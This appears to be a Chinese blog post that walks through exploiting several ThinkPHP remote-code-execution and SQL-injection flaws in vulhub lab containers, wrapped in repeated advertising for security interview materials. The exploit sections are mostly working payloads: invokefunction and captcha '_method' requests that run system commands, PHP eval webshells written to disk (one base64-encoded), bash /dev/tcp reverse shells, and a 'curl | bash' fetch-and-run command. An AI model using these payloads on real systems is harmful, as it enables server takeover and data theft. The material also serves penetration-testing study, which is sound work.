2024年ThinkPHP漏洞合集(专注渗透视角)_thinkphp v6,2024年最新网络安全面试数据结构算法

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

+ [漏洞发现](#_25)
+ - [TideFinger❌](#TideFinger_26)
	- [afrog✅](#afrog_33)
	- [nuclei✅](#nuclei_36)
	- [xray✅](#xray_38)
	- [thinkphp\_scan✅](#thinkphp_scan_40)
	- [ThinkphpRCE❌](#ThinkphpRCE_43)
	- [蓝鲸✅](#_46)
	- [莲花❌](#_50)
	- [Thinkphp全网GUI圈子社区专版✅](#ThinkphpGUI_54)
+ [漏洞验证 & 利用](#___56)
+ - [传后门](#_59)
	- [反弹shell](#shell_75)

对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

介绍

服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

ThinkPHP 2.x 任意代码执行漏洞

漏洞介绍与复现参考:https://vulhub.org/#/environments/thinkphp/2-rce/

漏洞介绍 & 环境准备

漏洞原理:
ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
环境搭建:

cd vulhub-master/thinkphp/2-rce
docker-compose up -d
docker ps

image.png

漏洞发现

TideFinger❌

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可

./TideFinger_Linux -u http://192.168.229.140:8080/ -pd

image.png

afrog✅

项目地址:https://github.com/zan8in/afrog
image.png

nuclei✅

image.png

xray✅

image.png

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan
image.png

ThinkphpRCE❌

项目地址:https://github.com/sukabuliet/ThinkphpRCE
image.png

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
image.png
image.png

莲花❌

莲花不可以发现漏洞,由于其不检测2版本的Thinkphp
项目地址:https://github.com/Lotus6/ThinkphpGUI
image.png

Thinkphp全网GUI圈子社区专版✅

image.png

漏洞验证 & 利用

访问如下地址,即可执行phpinfo()
[http://192.168.229.140:8080/index.php?s=/index/index/name/

%7B@phpinfo()%7D]( )%7D)

传后门
  1. 上传后门
http://192.168.229.140:8080/index.php?s=a/b/c/${@print(eval($\_POST[1]))}

image.png

  1. 简单测试一下,两种方式都行

image.png
image.png

  1. 连接webshell

image.png

反弹shell

方式1:攻击者编写反弹shell的命令:bash -i >& /dev/tcp/192.168.229.1/9999 0>&1
然后开启一个web服务,让受害者下载并执行,获取shell
image.png
方式2:直接通过后门执行反弹shell的命令
image.png

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
环境搭建:

cd vulhub-master/thinkphp/5-rce
docker-compose up -d
docker ps

image.png

漏洞发现

TideFinger✅

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可

./TideFinger_Linux -u http://192.168.229.140:8080/ -pd

image.png

afrog✅

项目地址:https://github.com/zan8in/afrog
image.png

nuclei✅
nuclei -tags thinkphp -u http://192.168.229.140:8080/

image.png

xray✅

image.png

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan
image.png

ThinkphpRCE✅

项目地址:https://github.com/sukabuliet/ThinkphpRCE
image.png

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
image.png
image.png

莲花✅

项目地址:https://github.com/Lotus6/ThinkphpGUI
image.png
尝试命令执行,未得到结果

Thinkphp全网GUI圈子社区专版✅

image.png

漏洞验证 & 利用

直接访问如下地址,即可执行phpinfo:
http://192.168.229.140:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
image.png

任意代码执行
http://192.168.229.140:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image.png

写入webshell
http://192.168.229.140:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

<?php phpinfo(); eval(@$_POST['cmd']); ?>

得到:
http://192.168.229.140:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST%5B'cmd'%5D)%3B%20%3F%3E

image.png
image.png
访问一下后门地址,看起来写进去了
image.png
连接后门
image.png

反弹shell

方式1:通过webshell:bash -c 'bash -i >& /dev/tcp/192.168.229.1/9999 0>&1'
image.png
方式2:通过命令执行

http://192.168.229.140:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.229.128/4444+0>%261'

image.png

ThinkPHP5 5.0.23 远程代码执行漏洞

漏洞介绍 & 环境准备

**漏洞原理:**ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取method的方法中没有正确处理方法名,这使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本:Thinkphp 5.0.0~ 5.0.23
环境搭建:

cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
docker ps

image.png

漏洞发现

TideFinger✅

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可

TideFinger.exe -u http://192.168.229.140:8080/ -pd

image.png

afrog✅

项目地址:https://github.com/zan8in/afrog
image.png

nuclei✅
nuclei -tags thinkphp -u http://192.168.229.140:8080/

image.png

xray✅

image.png

thinkphp_scan✅

项目地址:https://github.com/anx0ing/thinkphp_scan
image.png

ThinkphpRCE✅

项目地址:https://github.com/sukabuliet/ThinkphpRCE
image.png

蓝鲸✅

项目地址:https://github.com/bewhale/thinkphp_gui_tools
image.png
image.png

莲花✅

项目地址:https://github.com/Lotus6/ThinkphpGUI
image.png
image.png

Thinkphp全网GUI圈子社区专版❌

image.png

漏洞验证 & 利用

发送如下数据包,尝试执行命令

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image.png

传后门

方法1:

\_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php phpinfo(); eval(@$\_REQUEST['cmd']); ?>' > AAA.php

这里不能用 get 和 post  只能用 request
<?php @eval($\_GET["cmd"]);?>  失败
<?php @eval($\_POST["cmd"]);?> 失败

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.229.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 141
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6d77e96725967c067fbaf184686b7473
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+'<%3fphp+phpinfo()%3b+eval(%40$_REQUEST['cmd'])%3b+%3f>'+>+AAA.php

image.png
image.png
方式2:其实就是做了base64编码处理

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgcGhwaW5mbygpOyBldmFsKEAkX1JFUVVFU1RbJ2NtZCddKTsgPz4= | base64 -d > shell.php

image.png
image.png

反弹shell

这里的方法上文介绍过:https://www.yuque.com/u1881995/pborfs/vl6133h1trkn31vy#cnIjT
攻击者编写反弹shell的命令:bash -i >& /dev/tcp/192.168.229.128/4444 0>&1
然后开启一个web服务,让受害者下载并执行,获取shell

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.229.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6d77e96725967c067fbaf184686b7473
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.229.128/shell.sh | bash

image.png
image.png
图省事也可以这样
image.png

ThinkPHP5 SQL注入漏洞 & 敏感信息泄露

**漏洞原理:**传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
影响版本:ThinkPHP < 5.1.23
环境搭建:

cd vulhub-master/thinkphp/in-sqlinjection
docker-compose up -d
docker ps

image.png
启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。
image.png

漏洞发现

TideFinger❌

项目介绍:https://mp.weixin.qq.com/s/ruZlZtEUC09xfy327kFG4g
下载地址:关注“Tide安全团队”公众号,回复指纹即可
发现了漏洞,但是没有发现目标漏洞,属于是发现了其他漏洞

./TideFinger_Linux -u http://192.168.229.140 -pd

image.png

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 15
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值